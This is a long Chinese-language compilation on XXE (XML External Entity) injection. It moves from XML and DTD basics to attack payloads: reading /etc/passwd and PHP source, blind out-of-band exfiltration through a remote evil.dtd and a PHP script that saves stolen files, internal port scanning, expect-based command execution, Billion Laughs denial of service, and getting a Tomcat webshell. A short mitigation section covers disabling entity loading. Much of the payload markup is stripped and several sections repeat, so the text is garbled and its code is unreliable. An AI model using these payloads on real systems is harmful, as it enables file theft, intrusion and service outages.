XML由3个部分构成,它们分别是:文档类型定义(Document Type Definition,DTD),即XML的布局语言;可扩展的样式语言(Extensible Style Language,XSL),即XML的样式表语言;以及可扩展链接语言(Extensible Link Language,XLL)。
XML:可扩展标记语言,标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言。它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言。它的设计宗旨是传输数据,而不是显示数据。它的标签没有被预定义。您需要自行定义标签。它被设计为具有自我描述性。它是W3C的推荐标准。
可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计
它被设计用来传输和存储数据,其焦点是数据的内容。
超文本标记语言被设计用来显示数据,其焦点是数据的外观
XML使用元素和属性来描述数 据。在数据传送过程中,XML始终保留了诸如父/子关系这样的数据结构。几个应用程序 可以共享和解析同一个XML文件,不必使用传统的字符串解析或拆解过程。 相反,普通文件不对每个数据段做描述(除了在头文件中),也不保留数据关系结构。使用XML做数据交换可以使应用程序更具有弹性,因为可以用位置(与普通文件一样)或用元素名(从数据库)来存取XML数据。
XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
文件名 [
实体名 "实体内容">
]>
<元素名称 category="属性">
文本或其他元素
元素名称>
XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素。
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。
根元素 [元素声明]>
根元素 SYSTEM "文件名">
或者
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
l DTD的作用
DTD(文档类型定义)的作用是定义XML文档的合法构建模块。DTD可以在XML文档内声明,也可以外部引用。
外部实体是指XML处理器必须解析的数据。它对于在多个文档之间创建共享的公共引用很有用。对外部实体进行的任何更改将在包含对其的引用的文档中自动更新。即XML使用外部实体将信息或“内容”将自动提取到XML文档的正文中。为此,我们需要在XML文档内部声明一个外部实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。。我们可以在内部确定其值(内部子集):
或从外部来源:(外部子集):
注意到SYSTEM标识符没?该标识符意味着该实体将从外部来源获取内容,在本例中,该内容是“site.com”下的一个页面。
为了声明这些实体,我们需要在文档类型定义(DTD)中进行。DTD是一组标记声明,用于定义XML的文档类型。它定义了XML文档的合法结构块和具有合法元素和属性列表的文档结构。DTD可以在XML文档内部声明,也可以作为外部引用声明—使用SYSTEM标识符指向可解析位置中的另一组声明。ENTITY可以使用SYSTEM关键字,调用外部资源,而这里是支持很多的协议,如:http;file等,然后,在其他DoM结点中可以使用如:&test;引用该实体内容.
那么,如果在产品功能设计当中,解析的xml是由外部可控制的,那将可能形成,如:文件读取,DoS,CSRF等漏洞.
如果要引用一个外部资源,可以借助各种协议 几个例子:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
我们来看一个DTD的例子,一个在DTD里面有一个SYSTEM标识符的实体:
l 内部声明实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
一个内部实体声明
实体名称 "实体的值">
例子
DTD:
XML:
注释: 一个实体由三部分构成: 一个和号 (&), 一个实体名称, 以及一个分号 (;)。
l 引用外部实体
一个外部实体声明
实体名称 SYSTEM "URI/URL">
或者
实体名称 PUBLIC "public_ID" "URI">
例子
DTD:
XML:
外部实体类型有
CDATA 指的是不应由 XML 解析器进行解析的文本数据(Unparsed Character Data)。
在 XML 元素中,"<" (新元素的开始)和 "&" (字符实体的开始)是非法的。
某些文本,比如 JavaScript 代码,包含大量 "<" 或 "&" 字符。为了避免错误,可以将脚本代码定义为 CDATA。
CDATA 部分中的所有内容都会被解析器忽略。
CDATA 部分由 "" 结束
XML 中的实体分为以下五种:字符实体,命名实体,外部实体,参数实体,内部实体,普通实体和参数实体都分为内部实体和外部实体两种,外部实体定义需要加上 SYSTEM关键字,其内容是URL所指向的外部文件实际的内容。如果不加SYSTEM关键字,则为内部实体,表示实体指代内容为字符串。
指用十进制格式(aaa;)或十六进制格式(પ)来指定任意 Unicode 字符。对 XML 解析器而言,字符实体与直接输入指定字符的效果完全相同。
也称为内部实体,在 DTD 或内部子集(即文档中 语句的一部分)中声明,在文档中用作引用。在 XML 文档解析过程中,实体引用将由它的表示替代。
]>
&xxe;
]>
&xxe;
可以用做xxe+ssrf
外部实体表示外部文件的内容,用 SYSTEM 关键词表示。
有些XML文档包含system标识符定义的“实体”,这些文档会在DOCTYPE头部标签中呈现。这些定义的’实体’能够访问本地或者远程的内容。比如,下面的XML文档样例就包含了XML ‘实体’。
]>
在上面的代码中, XML外部实体 ‘entityex’ 被赋予的值为:file://etc/passwd。在解析XML文档的过程中,实体’entityex’的值会被替换为URI(file://etc/passwd)内容值(也就是passwd文件的内容)。 关键字’SYSTEM’会告诉XML解析器,’entityex’实体的值将从其后的URI中读取,并把读取的内容替换entityex出现的地方。
假如 SYSTEM 后面的内容可以被用户控制,那么用户就可以随意替换为其他内容,从而读取服务器本地文件(file:///etc/passwd)或者远程文件(http://www.baidu.com/abc.txt)
参数实体只用于 DTD 和文档的内部子集中,XML的规范定义中,只有在DTD中才能引用参数实体. 参数实体的声明和引用都是以百分号%。并且参数实体的引用在DTD是理解解析的,替换文本将变成DTD的一部分。该类型的实体用“%”字符(或十六进制编码的%)声明,并且仅在经过解析和验证后才用于替换DTD中的文本或其他内容:
实体名称 "实体的值">
或者
实体名称 SYSTEM "URI">
参数实体只能在 DTD文件中被引用,其他实体在XML文档内引用。
即下面实例,参数实体 在DOCTYPE内 ,其他实体在外
%name;
]>
参数实体在DTD中解析优先级高于xml内部实体
实体相当于变量 “file:///etc/passwd”赋值给name
先写一段简单的xml利用代码,以php为例子:
$data = file_get_contents('php://input');
$xml = simplexml_load_string($data);
echo $xml->name;
?>
echo $xml->name;中->name可以任意更改。
如下所示:
参数实体的示例:
实体名称 "实体的值">
">
%param1;
]>
如:
参数实体param1中包含内部实体的声明,用于替代
这里,一定要注意流程,参数实体在DTD中解析是优先于XML文本中的内部实体解析。
参数实体有几个特性,这几个特性也决定了它能被利用的程度:
l 只能在DTD内部
l 立即引用
l 实体嵌套
内置实体为预留的实体,如:
实体引用字符
< <
> >
& &
" "
' '
而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
关于实体嵌套的情况,比较幸运的是DTD中支持单双引号,所以可以通过单双引号间隔使用作为区分嵌套实体和实体之间的关系;在实际使用中,我们通常需要再嵌套一个参数实体,%号是需要处理成 % 如下:
'
%也可写为16进制%
另:内部实体的这支持与否也是取决于解释器的,参考链接4
]>
&dtd;
这种命名实体调用外部实体,发现evil.xml中不能定义实体,否则解析不了,感觉命名实体好鸡肋,参数实体就好用很多
%dtd; %all;
]>
&send;
其中evil.xml文件内容为
">
调用过程为:参数实体dtd调用外部实体evil.xml,然后又调用参数实体all,接着调用命名实体send
%dtd;
%send;
]>
其中evil.xml文件内容为:
"> %payload;
调用过程和第一种方法类似
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
XXE注入,即XML External Entity,XML外部实体注入。通过 XML 实体,”SYSTEM”关键词导致 XML 解析器可以从本地文件或者远程 URI 中读取数据。所以攻击者可以通过 XML 实体传递自己构造的恶意值,是处理程序解析它。当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
ENTITY 实体,在一个甚至多个XML文档中频繁使用某一条数据,我们可以预先定义一个这条数据的“别名”,即一个ENTITY,然后在这些文档中需要该数据的地方调用它。XML定义了两种类型的ENTITY,一种在XML文档中使用
若是在PHP中,libxml_disable_entity_loader设置为TRUE可禁用外部实体注。入另一种作为参数在DTD文件中使用。ENTITY的定义语法:
文件名 [
实体名 "实体内容">
]>
定义好的ENTITY在文档中通过“&实体名;”来使用。举例:
]>
在 XML 中有 5 个预定义的实体引用:
< |
< |
小于 |
> |
> |
大于 |
& |
& |
和号 |
' |
' |
省略号 |
" |
" |
引号 |
注释:严格地讲,在 XML 中仅有字符 "<"和"&" 是非法的。省略号、引号和大于号是合法的,但是把它们替换为实体引用是个好的习惯。
既然XML可以从外部读取DTD文件,那我们就自然地想到了如果将路径换成另一个文件的路径,那么服务器在解析这个XML的时候就会把那个文件的内容赋值给SYSTEM前面的根元素中,只要我们在XML中让前面的根元素的内容显示出来,不就可以读取那个文件的内容了。这就造成了一个任意文件读取的漏洞。
那如果我们指向的是一个内网主机的端口呢?是否会给出错误信息,我们是不是可以从错误信息上来判断内网主机这个端口是否开放,这就造成了一个内部端口被探测的问题。另外,一般来说,服务器解析XML有两种方式,一种是一次性将整个XML加载进内存中,进行解析;另一种是一部分一部分的、“流式”地加载、解析。如果我们递归地调用XML定义,一次性调用巨量的定义,那么服务器的内存就会被消耗完,造成了拒绝服务攻击。
构造本地xml接口,先包含本地xml文件,查看返回结果,正常返回后再换为服务器。
payload如下:
]>
读取aa.txt的内容:
一般在漏洞挖掘中我们是猜测不到
找到网站上自带的XML注入利用代码:
稍微整理下生成payload如下:
%remote;]>
%remote;]>
看下现在是几点钟:
晚上八点多钟,我们复制payload发送请求:
看下网站里面自带的日志功能:
应该是时间延迟问题。反正相差十分钟以内!
这里接收到我们的payload请求说明是存在XML注入的,用这种方法测试XML注入我感觉很好
1.可以无限制盲打
2.测试简单方便不需要很繁琐测试猜测
payload如下:
]>
成功探测到内网端口内部信息。
我这是在windows下测试,假如是linux下还可以命令执行:
在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令
测试payload:
]>
这里读取系统命令ifconfig读取ip
方案:使用开发语言提供的禁用外部实体的方法
1.PHP:
libxml_disable_entity_loader(true);
2.JAVA:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
3.Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
XML外部实体(XXE)攻击是许多基于注入的攻击方式之一,当攻击者将声明XML消息中的外部实体发送到应用程序并使用XML解析器解析时,就会发生这种攻击。这个漏洞有许多不同的类型和行为,因为它可能会发生在不同类型的技术中—因为不同类型的XML解析器的原因。在这种情况下,令人高兴的是,每个解析器具有不同的功能和“特征”。
在我们开始之前,让我们先认识下可能面临的最常见的XXE漏洞类型—了解这些漏洞类型将有助于我们调试攻击并创建最终正确的POC:
1.基础的XXE注入— 外部实体注入本地DTD
2.基于盲注的XXE注入—XML解析器在响应中不显示任何错误
3.基于错误的XXE注入—成功解析之后,XML解析器始终显示SAME响应。(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中。
按照上一个概述,我们可以通过使用SYSTEM标识符来引用外部实体的数据。所以现在我们可以引入XXE注入的第一种技术,它将外部实体注入到包含引用本地文件路径(如/ etc / passwd)的SYSTEM标识符的XML文档中:
现在让我们做一个更复杂和更严重的攻击:
如果作为通用功能的一部分,应用程序服务器没有作出回应呢?(记得刚刚提到的基于错误的XXE吗?)
如果我们想从其中具有XML特殊字符的外部源读取数据呢?如果在解析过程中解析失败呢?
这时我们可以加载引用我们的远程服务器并尝试从其URL获取内容的辅助外部DTD—这可以是一组字符,或下面的示例转储文件,最重要的是它甚至没有经过XML模式验证过程,因为它在解析器甚至获取远程内容之前发送!
例如,远程DTD文件—包含带有SYSTEM标识符和“file”处理程序的参数实体。请注意,参数实体“file”也连接到实体“send”内的URL:
解析DTD后,我们得到以下实体:
最终,服务器会尝试以文件内容发送参数“c”所指定的内容,到达我们定义的URL—我们记录该内容,并通过这样做来转储文件的内容:
步骤A:
步骤B: — 远程DTD正在解析。我们正在窃取文件的内容...
步骤C:
我们成功得到文件内容!
用这种技术记住的几件事情:
文件内容中的字符“#”将导致URL截断。
如果我们使用“or”定义参数实体,内容可能会中断。
这取决于我们使用的是哪种(所以请确保在出现错误的情况下同时使用这两种测试场景)。
有时候,当解析过程成功时,当我们从服务器得到通用的响应时,我们可能希望服务器返回详细错误—因此,我们可以使用与远程DTD相同的技术,但会发生故意的错误如:
解析器将尝试解析DTD并访问发送实体中给出的路径,但是由于不能到达“my-evil-domain。$$$$ ”,我们将导致以下错误:
然后我们就可以根据信息调试我们自己的payload!# 安全脉搏 https://www.secpulse.com/archives/58915.html
请注意,由服务器响应的任何错误显示哪一行导致解析错误,同时出现语法错误,有时我们可能会使用此信息来调试我们自己的payload,使用“\ n”。例如:
<!DOCTYPE Author[ \ n
<!ENTITY %% intentate_error_here“test”>]> \ n
包含payload的两个额外的“\ n”会在第一行“\ n”之后的第2行中出现错误,而其余的XML内容将会显示在第3行。
总之,XXE是一个非常强大的攻击,它允许我们操纵错误的XML解析器并利用它们。请注意,有更多的技术和攻击利用方式可以通过XXE注入完成。如前所述,每个解析器都有不同的能力,因此我们可以提出不同的漏洞:
此表由研究员Timothy Morgan提供—这些协议可用于上传文件(jar:// ..),在旧版本Java中允许任意数据通过TCP连接(gopher:// ..),阅读PHP源代码查看PHP的处理方式。
自己尝试下载我们的演示实验室,可以在这里下载!该演示包含一个带有XML有效载荷的.NET xml解析器和需要的远程DTD文件。
对于传统的XXE来说,要求有一点,就是攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件。例如:
提交请求:
服务器在这个节点中返回etc/passwd的文件内容:
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据。
(2)参数实体和内部参数实体
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
如:
">
%param1;
]>
[This is my site] &internal;
但是在我研究过程中,发现内部实体的这支持与否也是取决于解释器的。
IE/Firefox:
Chrome:
这也是比较蛋疼的特性,因为php,java,C#等语言的内置XML解析器都是有一定差别的,也就给漏洞利用带来不便。
如果目标服务器没有回显,就只能用 Blind XXE 了。原理就是带着获取的文件源码以 get 参数或其他形式去访问我们的服务器,然后在日志里就可以找到我们要获取的内容了。
Blink XXE主要使用了DTD约束中的参数实体和内部实体。
参数实体是一种只能在DTD中定义和使用的实体,一般引用时使用%作为前缀。而内部实体是指在一个实体中定义的另一个实体,也就是嵌套定义。
%remote;
%all;
]>
xxx.xml
">
这里解释下,%remote; 会把外部文件引入到这个 XML 中,%all; 替换为后面的嵌套实体,这时再在 root 节点中引入 send 实体,便可实现数据转发。如果在 xxx.xml 中 send 实体是参数实体的话,也可以采用下面的形式。
%remote;
%all;
%send;
]>
xxx.xml
">
l 原理说明
对于传统的XXE来说,要求在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,例如上述方式一。
如果服务器没有回显,只能使用Blind XXE漏洞来构建一条带外信道提取数据(Out-Of-Band)。
但直接在内部实体定义中引用另一个实体的这种方法行不通
%param2;
]>
最简单的无非是通过参数实体引用,发送一个http请求到我们服务器,然后观察我们服务的日志
%remote;]>
如果在服务日志上能接收到则说明存在漏洞
于是考虑内部实体嵌套的形式:
">
%param2;
]>
[This is my site]
但是这样做行不通,原因是不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。
解决方案是:
将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。
和引入方式三有些雷同,如下:
src.xml
%remote;
%all;
]>
evil.xml
">•
实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。
另外一种方法是使用CDATA,但是并非像wooyun文章说的那样可以读取任意值
l 读任意文件
php://filter/convert.base64-encode/resource=想要读取的文件路径
l java中的应用
1.file:///可以列目录:
2.OOB:
gopher(1.7u7, 1.6u32以前|7u9 6u37以前 ?),配合nc;其他情况用ftp
3.上传文件:
需要进行长链接,通过jar协议(jar:http://127.0.0.1:2014/xxe.jar!/)
https://github.com/pwntester/BlockingServer
4.ftp oob:
在jdk 1.6.35 以上,可以读取tomcat-users,如果管理页面不删,版本如果高于前述情况,也应该能读取
注意:1.6.31以下是不行的,因此结合文件上传和gopher协议来看,基于tomcat成功的getshell,主要因素在于jdk版本,成功的范围很小
5.读XML标签及属性值
前提是内部需要设置 factory.setValidating(true)
例1:读取属性值
xml文档中的标签属性需通过ATTLIST为其设置属性
语法格式:
username (a|b) #REQUIRED
password (a|b) #REQUIRED
>
]>
•
java Xerces方法的解析结果为(其他解析方式不行):
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not set, which is probably not what is desired. Parser will use a default ErrorHandler to print the first 10 errors. Please call the 'setErrorHandler' method to fix this.
Error: URI=null Line=10: Element type "tomcat-users" must be declared.
Error: URI=null Line=11: Attribute "rolename" must be declared for element type "role".
Error: URI=null Line=12: Attribute "username" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "password" with value "tomcat" must have a value from the list "a b ".
Error: URI=null Line=12: Attribute "roles" must be declared for element type "user".
实际运用时,是没办法解析tomcat-users.xml的文档的,因为会把 XML 声明代入而造成解析出错
例2:定义标签顺序报错
具体示例如下:
首先建立DTD文件,文件名:person.dtd
文件内容:
•
然后建立两个利用这个dtd文件的xml文件
文件名:person.xml
文件内容:
文件名:worker.xml
文件内容:
•
我们可以看到worker.xml文件不符合dtd的规定,多了一个job的标签。
然后建立java文件
文件名:ValidateXMLDTD.java
package xmlvalidate;
import java.io.FileNotFoundException;
import java.io.IOException;
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.ParserConfigurationException;
import org.xml.sax.SAXException;
public class ValidateXMLDTD {
public static void main(String[] args) {
// System.out.println("测试符合DTD规范的XML文件");
// testPerson();
// System.out.println("测试不符合DTD规范的XML文件");
// testWorkder();
}
public static void testPerson() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true); //这里很重要
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("person.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
public static void testWorkder() {
try {
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setValidating(true);
DocumentBuilder db = dbf.newDocumentBuilder();
db.parse(new java.io.FileInputStream("worker.xml"));
} catch (FileNotFoundException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (ParserConfigurationException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (SAXException e) {
// TODO Auto-generated catch block
e.printStackTrace();
} catch (IOException e) {
// TODO Auto-generated catch block
e.printStackTrace();
}
}
}•
修改一下main方法中的注释语句,运行一下,执行结果:
运行testPerson的时候,只输出:测试符合DTD规范的XML文件
,而运行testWorker的时候,输入如下内容:测试不符合DTD规范的XML文件
Warning: validation was turned on but an org.xml.sax.ErrorHandler was not
set, which is probably not what is desired. Parser will use a default
ErrorHandler to print the first 10 errors. Please call
the 'setErrorHandler' method to fix this.
Error: URI=null Line=7: Element type "job" must be declared.
Error: URI=null Line=8: The content of element type "person" must match "(name,sex,birthday)*"
【1.php】
file_put_contents("1.txt", $_GET['file']) ;
?>
【test.php】
$xml=<<
%remote; %all; %send; ]> EOF; $data = simplexml_load_string($xml) ; echo "" ;
print_r($data) ;
?>
【evil.xml】
">
访问http://localhost/test.php, 这就是模拟攻击者构造XXE请求,然后存在漏洞的服务器会读出file的内容(c:/1.txt),通过带外通道发送给攻击者服务器上的1.php,1.php做的事情就是把读取的数据保存到本地的1.txt中,完成Blind XXE攻击。
攻击之后1.txt中的数据:
攻击者服务器日志:
遇到XML相关的交互过程,以如下步骤判断是否存在漏洞:
(1)检测XML是否会被解析:
]>
如果$shit;变成了”this is shit”,那就继续第二步。
(2)检测服务器是否支持外部实体:
%shit;
]>
通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求evil.xml的HTTP request。
(3)如果上面两步都支持,那么就看能否回显。如果能回显,就可以直接使用外部实体的方式进行攻击。当然有时候服务器会不支持一般实体的引用,也就是在DTD之外无法引用实体,如果这样的话,只能使用Blind XXE攻击。
(4)如果不能回显,毫无疑问,使用Blind XXE攻击方法。
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
引入外部实体方式有多种,比如:
XML内容:
%d; ]>
其中attack.dtd的内容为:
XML内容:
DTD文件(evil.dtd)内容:
XML内容:
DTD文件(evil.dtd)内容:
另外,不同程序支持的协议不一样,
上图是默认支持协议,还可以支持其他,如PHP支持的扩展协议有
准备一个有XXE漏洞的文件,如下:
$xml=file_get_contents("php://input");
$data = simplexml_load_string($xml) ;
echo "" ;
print_r($data) ;//
注释掉该语句即为无回显的情况
?>
xxe利用主要有:任意文件读取、内网信息探测(包括端口和相关web指纹识别)、DOS攻击、远程命名执行
POC主要有:
file:///path/to/file.ext
http://url/file.ext
php://filter/read=convert.base64-encode/resource=conf.php
任意读取的代码:
]>
1).有直接回显的情况:可以看命名实体写法,根据实际情况替换相应代码利用即可,我本地测试照搬过来
2).无回显的情况:可以看第一种命名实体+外部实体+参数实体写法和第二种命名实体+外部实体+参数实体写法
第一种写法结果如图:
c://test/1.txt文件内容为111111111,可以从apache的日志中看到
::1 - - [23/Apr/2017:17:37:13 +0800] "GET /111111111 HTTP/1.0" 404 207
如果把http://localhost:88/evil.xml替换为一个远程服务器的xml文件地址,即可在日志中看到我们想要获取的数据
本地环境读取:
该CASE是读取/etc/passwd,有些XML解析库支持列目录,攻击者通过列目录、读文件,获取帐号密码后进一步攻击,如读取tomcat-users.xml得到帐号密码后登录tomcat的manager部署webshell。
另外,数据不回显就没有问题了吗?如下图,
不,可以把数据发送到远程服务器,
远程evil.dtd文件内容如下:
触发XXE攻击后,服务器会把文件内容发送到攻击者网站
基于file协议的XXE攻击
XMLInject.php
# Enable the ability to load external entities
libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
# http://hublog.hubmed.org/archives/001854.html
# LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值
# LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); // this stuff is required to make sure
$creds = simplexml_import_dom($dom);
$user = $creds->user;
$pass = $creds->pass;
echo "You have logged in as user $user";`?>
file_get_content('php://input')接收post数据,xml数据
XML.txt
]>
导致可以读出etc/passwd文件
在使用file://协议时,有以下几种格式:
file://host/path
* Linux
file:///etc/passwd
* Unix
file://localhost/etc/fstab
file:///localhost/etc/fstab
* Windows
file:///c:/windows/win.ini
file://localhost/c:/windows/win.ini
* (下面这两种在某些浏览器里是支持的)
file:///c|windows/win.ini
file://localhost/c|windows/win.ini
XML文档是用PHP进行解析的,那么还可以使用php://filter协议来进行读取。
]>
基于netdoc的XXE攻击
==XML文档是用Java解析的话,可利用netdoc
]>
&file;
读取本地文件:
以php环境为例,index.php内容如下:
$xml=simplexml_load_string($_GET['xml']);
print_r((string)$xml);
?>
利用各种协议可以读取文件。比如file协议,这里的测试环境为win,所以这里我选择读取h盘里的sky.txt。
]>
将上述xml进行url编码后传进去,可以发现读取了sky.txt中的内容。
注:
如果要读取php文件,因为php、html等文件中有各种括号<,>,若直接用file读取会导致解析错误,此时可以利用php://filter将内容转换为base64后再读取。
]>
同样先经过url编码后再传入。
借助各种协议如http,XXE可以协助扫描内网,可能可以访问到内网开放WEB服务的Server,并获取其他信息
利用http协议http://url/file.ext,替换标准poc中相应部分即可,这种情况比较不稳定,根据不同xml解析器会得到不同的回显报错结果,例如我87关闭,88端口有web服务,有的没有明显的连接错误信息,所以无法判断端口的状态
也可以探测内网端口:
该CASE是探测192.168.1.1的80、81端口,通过返回的“Connection refused”可以知道该81端口是closed的,而80端口是open的。
加载外部DTD时有两种加载方式,一种为私有private,第二种为公共public。
私有类型DTD加载:
公共类型DTD加载:
在公共类型DTD加载的时候,首先会使用DTD_name来检索,如果无法找到,则通过DTD_location来寻找此公共DTD。利用DTD_location,在一定的环境下可以用来做内网探测。
]>
因解析器种类不同,所以针对XXE攻击进行端口扫描需要一个合适的环境才能够实现,例如:有明显的连接错误信息。
利用DTD进行数据回显
有时读取文件时没有回显,这时可以利用DTD参数实体的特性将文件内容拼接到url中,达到读取文件的效果。
%dtd; %send;]>
"> %payload;
evil.dtd
在evil.dtd中将%file实体的内容拼接到url后,然后利用burp等工具,查看url请求就能获得我们需要的内容
或者:
]>
最典型的案例Billion Laughs 攻击,Billion laughs attack,xml解析的时候,
POC:
]>
或者:
]>
&a4;
POC中中先定义了lol实体,值为"lol"的字符串,后在下面又定义了lol2实体,lol2实体引用10个lol实体,lol3又引用了10个lol2实体的值,依此类推,到了最后在lolz元素中引用的lol9中,就会存在上亿个"lol"字符串
此时解析数据时未做特别处理,即可能造成拒绝服务攻击。
此外还有一种可能造成拒绝服务的Payload,借助读取/dev/random实现.
PHP下需要expect扩展
该CASE是在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
]>
或者
]>
bind xxe
对于无回显的xml注入:
在你的vps上放1.xml文件,内容如下:
">
再在你的vps上放xxe.php,内容如下:
file_put_contents("/tmp/1.txt", $_GET['f']);
?>
最后在可以写xml的页面写如下:
%r;
%all;
%s;
]>
访问1.txt就可以获得flag的内容
该CASE是攻击内网struts2网站,远程执行系统命令。
]>
或者
]>
或者
]>
如果包含文件失败,可能是由于读取php等文件时文件本身包含的<等字符.可以使用Base64编码绕过,如:
]>
利用外部实体构造payload向内网其他机器发出请求
支持实体测试:
]>
&a2;
如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。
Billion Laughs 攻击 (Klein, 2002)
译者注:“Billion Laughs” 攻击 —— 通过创建一项递归的 XML 定义,在内存中生成十亿个“Ha!”字符串,从而导致DDoS 攻击。原理为:构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中。
]>
&a4;
这个文件只有 30 Kb大小但却有 11111 个实体引用,超出了合法的实体引用数量上限。
Billion Laughs 攻击 – 参数实体 (Späth, 2015)
]>
&g;
文件位于:http://publicServer.com/dos.dtd
XML 二次爆破 DDoS 攻击
]>
&a0;&a0;...&a0;
一般实体递归
最好不要使用递归 — [WFC: No Recursion]
]>
&a;
外部一般实体 (Steuck, 2002)
这种攻击方式是通过申明一个外部一般实体,然后引用位于网上或本地的一个大文件(例如:C:/pagefile.sys 或/dev/random)。
然而,这种攻击只是让解析器解析一个 巨大的 XML 文件而已。
]>
&dos;
基本的 XXE 攻击 (Steuck, 2002)
]>
&file;
我们以文件 ‘/sys/power/image_size’ 为例,因为它非常短小只有一行且不包含特殊字符。
这种攻击需要一个直接的反馈通道并且读取文件受到 XML 中禁止字符的限制,如 “<” 和 “&”。
如果这些被禁止的字符出现在要访问的文件中(如:/etc/fstab),则 XML 解析器会抛出一个错误并停止解析。
使用 netdoc 的 XXE 攻击
]>
&file;
这类攻击为高级的 XXE 攻击,用于绕过对基本的 XXE 攻击的限制和 OOB(外带数据) 攻击
绕过基本 XXE 攻击的限制 (Morgan, 2014)
">
%dtd;
]>
&all;
文件位于:http://publicServer.com/parameterEntity_core.dtd
<!ENTITY all '%start;%goodies;%end;'>
滥用属性值的 XXE 攻击
%remote;
]>
文件位于:http://publicServer.com/external_entity_attribute.dtd
">
%param1;
没有可以直接回传的通道不意味着就不存在 XXE 攻击。
XXE OOB 攻击 (Yunusov, 2013)
&send;
文件位于:http://publicServer.com/parameterEntity_oob.dtd
">
%all;
XXE OOB 攻击 – 参数实体 (Yunusov, 2013)
和前面的攻击很像,区别仅在于只使用参数实体。
%remote;
%send;
]>
4
文件位于:http://publicServer.com/parameterEntity_sendhttp.dtd
">
%param1;
XXE OOB 攻击 – 参数实体 FTP (Novikov, 2014)
使用 FTP 协议,攻击者可以读取到任意长度的文件。
%remote;
%send;
]>
4
文件位于:http://publicServer.com/parameterEntity_sendftp.dtd
">
%param1;
这种攻击需要配置 FTP 服务器。不过,这个 POC 代码只需要稍作调整即可用于任意的解析器上。
SchemaEntity 攻击 (Späth, 2015)
这里有三种不同的攻击方式:(i) schemaLocation,(ii) noNamespaceSchemaLocation 和 (iii) XInclude。
schemaLocation
%remote;
]>
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="ttt http://publicServer.com/&internal;">4
noNamespaceSchemaLocation
%remote;
]>
xsi:noNamespaceSchemaLocation="http://publicServer.com/&internal;">
XInclude
%remote;
]>
文件位于:http://publicServer.com/external_entity_attribute.dtd
">
%param1;
DOCTYPE
]>
4
外部一般实体 (Steuck, 2002)
]>
&remote;
尽管为了不引起错误,最好是引用格式良好的 XML 文件(或者任何文本文件),但一些解析器可能还是会调用 URL 引用格式有问题的文件。
外部参数实体 (Yunusov, 2013)
%remote;
]>
4
文件位于:http://publicServer.com/url_invocation_parameterEntity.dtd
<!ELEMENT data2 (#ANY)>
文件位于:http://publicServer.com/file.xml
it_works
schemaLocation
xmlns:ttt="http://test.com/attack"
xsi:schemaLocation="http://publicServer.com/url_invocation_schemaLocation.xsd">4
文件位于:http://publicServer.com/url_invocation_schemaLocation.xsd
xmlns:xs="http://www.w3.org/2001/XMLSchema">
或者使用这个文件
xmlns:xs="http://www.w3.org/2001/XMLSchema"
targetNamespace="http://test.com/attack">
noNamespaceSchemaLocation
